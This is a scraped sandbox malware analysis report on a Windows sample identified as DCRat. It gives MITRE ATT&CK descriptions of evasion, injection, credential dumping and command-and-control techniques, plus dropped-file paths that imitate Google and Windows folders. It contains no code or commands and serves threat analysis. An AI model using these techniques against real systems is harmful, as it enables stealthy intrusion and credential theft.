Opcode Fuzzy Hash: d887c5075f0298bb8af0466c0c6546aac745585c959c6a28b247946e6ab1dbe7
Instruction Fuzzy Hash: CCE0E5B0909B298BEB65DF209C94AEEBB71AF12351F5142E6E00A66196CE741B85CF00

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report FYKrlfQrxb.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DCRat

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Google\Update\Install\bf3ea1d7b5d5e5

C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe:Zone.Identifier

C:\Program Files\Windows Mail\bf3ea1d7b5d5e5

C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe:Zone.Identifier

C:\Program Files\Windows Security\bf3ea1d7b5d5e5

C:\Program Files\Windows Security\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

C:\Program Files\Windows Security\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe:Zone.Identifier

C:\Users\Public\Downloads\bf3ea1d7b5d5e5

Windows Analysis Report
FYKrlfQrxb.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre